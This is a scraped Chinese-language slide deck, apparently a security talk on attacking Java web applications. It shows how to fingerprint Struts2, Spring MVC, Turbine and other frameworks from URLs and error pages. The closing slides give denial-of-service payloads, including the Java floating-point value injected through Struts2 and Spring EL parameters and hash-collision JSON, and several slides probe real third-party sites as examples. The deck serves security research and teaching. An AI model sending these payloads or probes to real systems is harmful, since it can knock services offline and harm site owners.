1.02k likes | 1.44k Views
攻击 JAVA WEB. 阿里巴巴 集团安全中心 周拓. 个人介绍. 周拓 阿里巴巴集团安全中心 网名:空虚浪子心、 kxlzx QQ : 4700012 (&EMAIL) 个人 BLOG : http://www.inbreak.net 微 博 : http://t.qq.com/javasecurity. 适合听众. 实战派攻击技术爱好者 WEB 安全 攻城狮 JAVA 开发 安全扫描工具开发人员 理论派研究人员 默认大家已经掌握一些相关基础技术. JAVA WEB. JSP Servlet. JAVA WEB. J2EE 处理用户请求框架
E N D
攻击JAVA WEB 阿里巴巴集团安全中心 周拓
个人介绍 • 周拓 • 阿里巴巴集团安全中心 • 网名:空虚浪子心、kxlzx • QQ:4700012 (&EMAIL) • 个人BLOG:http://www.inbreak.net • 微博:http://t.qq.com/javasecurity
适合听众 • 实战派攻击技术爱好者 • WEB安全攻城狮 • JAVA开发 • 安全扫描工具开发人员 • 理论派研究人员 • 默认大家已经掌握一些相关基础技术
JAVA WEB • JSP • Servlet
JAVA WEB • J2EE 处理用户请求框架 • J2EE ORM框架 • J2EE 展示层框架 • AJAX框架
JAVA WEB USER STRUTS2、spring mvc、turbine、JSF、DWR…etc action1 action2 action3 Velocity、freemarker、JSP template1 template2
开始之前 • 任何攻击技术,技术本身都是有限的 • 不讲SQL INJECTION • 不讲业务逻辑 • 现在,我们打开了一个JAVA网站
框架指纹的手工确认 • 架构师的故事 • 黑客的思路
默认扩展名 • 扩展名“*.action” • 扩展名“*.do ” • 扩展名“*.form ” • 扩展名“*.vm” • 扩展名“*.jsf ”
扩展名“*.action” • 判断为struts2或webwork,得分:90% • http://www.inbreak.net/index.action • 官方DEMO • 各种教程书籍
扩展名为“*.do” • 判断为spring mvc 得分50% • http://www.inbreak.net/index.do • 方向性判断 • 官方文档 • 教程 • 还有很多其他框架(struts1等)
URL路径“/action/xxxx” • 判断为struts2 得分 70% • http://www.inbreak.net/action/index • 官方手册 • 结合response的server字段
扩展名为“*.form” • 看到一个表单判断为spring mvc 得分70% • 官方手册推荐 • .NET偶尔也用
扩展名“*.vm” • 判断为VelocityViewServlet 分值90% • Velocity • Velocity tools • 教程 • Turbine、Struts2、spring mvc都可能使用
扩展名“*.jsf ” • Java Server Faces 得分99%
参数处理方式目录 • Struts2对string类型参数处理 • 一个参数,直接显示错误页面 • spring mvc有个怪习惯
Struts2 string类型参数处理 • 《struts2框架安全缺陷》 • 《HTTP Parameter Pollution》 • ?username=aaa&username=bbb • <input value="aaa, bbb" name="username" type="text" /> • 得分95%
一个参数,变错误页面 • 所有的用户定义Action都继承这个类 • Action中的setter方法 ActionSupport action1
一个参数,变错误页面 • ActionSupport验证逻辑
一个参数,变错误页面 • ?actionErrors=aaaaaaaaaa 100%确认,struts2框架
spring mvc有个怪习惯 • spring mvc • Spring tag lib • checkbox
spring mvc有个怪习惯 • <input id="favorites1" name="favorites" type="checkbox" value="1"/><input type="hidden" name="_favorites" value="on"/>computer 90%确认,spring mvc
spring mvc有个怪习惯 • EXAMPLE
默认URL处理逻辑 • url mapping USER 处理用户请求的框架 action1 action2 action3 template1 template2
turbine框架的逗号们 • templates/pubinfo/infopub/businpub.html
turbine框架的逗号们 • turbine/template/pubinfo,infopub,businpub.html • Turbine • Template • 逗号 • turbine框架,分值90%
Struts2的叹号们 • http://www.inbreak.net/test.action • http://xxx/test!adduser.action • 分值95%
默认开发命名 • /xxxController • /xxxController.do • /controller/xxx.htm • Spring mvc 50%分值
所有框架指纹 • 让它出错 • 500错误 • 404错误 • 100%的确认框架
参数类型错误 • 数字,日期变为string • http://www.polyplastics.com/v/n?i=933&l=03&s=1
参数类型错误 • http://www.polyplastics.com/v/n?i=933&l=03&s=1kxlzx
业务逻辑错误 • https://www.cibil.com/online/manageCustomerDetails.do? • action=showAddPaymentPage
业务逻辑错误 • action=showAddPyy7aymentPage Action[/XXXXX] does not contain method named YYYYY
文件名错误 • http://eoweb.dlr.de:8080/servlets/template/welcome/entryPage.vm
万能google • 命名空间 • google搜索“com.netease”
环境的影响 • 不断的招聘开发者 • 推荐框架、主要框架 • 离职可以立刻接手 • 加分项
可能的位置 • Struts2 • 静态资源映射 • Directory traversal vulnerability • 《Struts2框架安全缺陷》 • “struts”、或“static”开头
其他地方 • 开发人员的blog • 内部论坛对外
框架指纹章节 • Q&A?
有多少拒绝服务目录 • java浮点漏洞 • Tomcat transfer-encoding: buffered • Hash 碰撞
java浮点漏洞 • 网上交易
Struts2 DOS漏洞 • http://www.inbreak.net/app/secTest.action?new java.lang.Double(2.2250738585072012e-308)
Struts2 DOS漏洞 • new java.lang.Double(0.000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000022250738585072012)
Struts2 DOS漏洞 • 仅仅是技术讨论 • 不适合实战 • 直接拿CVE-2011-3923杀过去
spring mvc dos • Message=${applicationScope} • EL表达式 • index.htm?message=${0.000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000022250738585072012}
邪恶的JAVA HASH DOS攻击 • JSON OBJECT拒绝服务 • url?var={“aaaaa”:”bbbbb”,”ccccc”:”ddddd”}
DWR框架DOS攻击 • C0-pram0=Object_Object:{id:reference:c0-e2, address:reference:c0-e3,………..etc..}
有多少拒绝服务章节 • Q & A